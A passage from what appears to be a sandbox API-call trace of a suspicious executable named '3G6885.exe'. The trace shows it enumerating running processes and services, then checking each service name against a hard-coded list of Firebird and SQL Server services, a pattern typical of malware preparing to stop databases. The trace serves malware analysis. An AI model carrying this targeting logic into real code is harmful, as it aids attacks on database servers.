(lpString="audiodg.exe") returned 11 [0171.515] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.515] lstrlenW (lpString="svchost.exe") returned 11 [0171.515] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.516] lstrlenW (lpString="svchost.exe") returned 11 [0171.516] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.516] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.516] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0171.516] lstrlenW (lpString="taskhost.exe") returned 12 [0171.516] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.517] lstrlenW (lpString="svchost.exe") returned 11 [0171.517] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.517] lstrlenW (lpString="dwm.exe") returned 7 [0171.517] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.518] lstrlenW (lpString="explorer.exe") returned 12 [0171.518] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0171.518] lstrlenW (lpString="3G6885.exe") returned 10 [0171.518] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0171.518] lstrlenW (lpString="reader_sl.exe") returned 13 [0171.518] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0171.519] lstrlenW (lpString="taskhost.exe") returned 12 [0171.519] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0171.519] lstrlenW (lpString="dllhost.exe") returned 11 [0171.519] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0171.519] lstrlenW (lpString="dllhost.exe") returned 11 [0171.520] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0171.520] lstrlenW (lpString="rundll32.exe") returned 12 [0171.520] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0171.520] lstrlenW (lpString="dinotify.exe") returned 12 [0171.520] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0171.521] lstrlenW (lpString="dllhost.exe") returned 11 [0171.521] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0171.521] CloseHandle (hObject=0x2e8) returned 1 [0171.521] Sleep (dwMilliseconds=0x1f4) [0172.102] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3c0d38 [0172.103] EnumServicesStatusExW (in: hSCManager=0x3c0d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0172.103] GetLastError () returned 0xea [0172.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x3f2050 [0172.103] EnumServicesStatusExW (in: hSCManager=0x3c0d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f2050, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f2050, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0172.103] CloseServiceHandle (hSCObject=0x3c0d38) returned 1 [0172.104] lstrlenW (lpString="Appinfo") returned 7 [0172.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.104] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.104] lstrlenW (lpString="AudioSrv") returned 8 [0172.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0172.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0172.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0172.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0172.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0172.104] lstrlenW (lpString="BFE") returned 3 [0172.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.104] lstrlenW (lpString="CryptSvc") returned 8 [0172.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.105] lstrlenW (lpString="CscService") returned 10 [0172.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0172.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0172.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0172.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0172.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0172.105] lstrlenW (lpString="DcomLaunch") returned 10 [0172.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.105] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.105] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.105] lstrlenW (lpString="Dhcp") returned 4 [0172.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.105] lstrlenW (lpString="Dnscache") returned 8 [0172.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.106] lstrlenW (lpString="DPS") returned 3 [0172.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.106] lstrlenW (lpString="eventlog") returned 8 [0172.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0172.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0172.106] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0172.106] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0172.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0172.106] lstrlenW (lpString="EventSystem") returned 11 [0172.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.106] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.106] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.106] lstrlenW (lpString="gpsvc") returned 5 [0172.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.106] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.106] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.106] lstrlenW (lpString="iphlpsvc") returned 8 [0172.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.106] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.106] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.106] lstrlenW (lpString="LanmanServer") returned 12 [0172.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.107] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.107] lstrlenW (lpString="lmhosts") returned 7 [0172.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.107] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.107] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.107] lstrlenW (lpString="MMCSS") returned 5 [0172.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0172.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0172.107] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0172.107] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0172.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0172.107] lstrlenW (lpString="MpsSvc") returned 6 [0172.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.107] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.107] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.108] lstrlenW (lpString="Netman") returned 6 [0172.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0172.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0172.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0172.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0172.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0172.108] lstrlenW (lpString="netprofm") returned 8 [0172.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.108] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.108] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0172.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.108] lstrlenW (lpString="NlaSvc") returned 6 [0172.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.108] lstrlenW (lpString="nsi") returned 3 [0172.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.108] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.108] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.108] lstrlenW (lpString="PcaSvc") returned 6 [0172.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.108] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.108] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.109] lstrlenW (lpString="PlugPlay") returned 8 [0172.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.109] lstrlenW (lpString="Power") returned 5 [0172.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.109] lstrlenW (lpString="ProfSvc") returned 7 [0172.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.109] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.109] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.109] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.109] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.109] lstrlenW (lpString="RpcSs") returned 5 [0172.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.109] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.109] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.110] lstrlenW (lpString="SamSs") returned 5 [0172.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.110] lstrlenW (lpString="Schedule") returned 8 [0172.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.110] lstrlenW (lpString="SENS") returned 4 [0172.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.110] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.110] lstrlenW (lpString="Spooler") returned 7 [0172.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.110] lstrlenW (lpString="SysMain") returned 7 [0172.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0172.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0172.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0172.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0172.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0172.111] lstrlenW (lpString="Themes") returned 6 [0172.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0172.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0172.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0172.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0172.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0172.111] lstrlenW (lpString="TrkWks") returned 6 [0172.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0172.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0172.111] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0172.111] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0172.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0172.111] lstrlenW (lpString="UxSms") returned 5 [0172.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0172.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0172.111] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0172.111] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0172.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0172.111] lstrlenW (lpString="WdiServiceHost") returned 14 [0172.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0172.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0172.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0172.111] lstrlenW (lpString="WdiSystemHost") returned 13 [0172.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.112] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0172.112] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0172.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0172.112] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0172.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.112] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0172.112] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0172.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0172.112] lstrlenW (lpString="Winmgmt") returned 7 [0172.112] 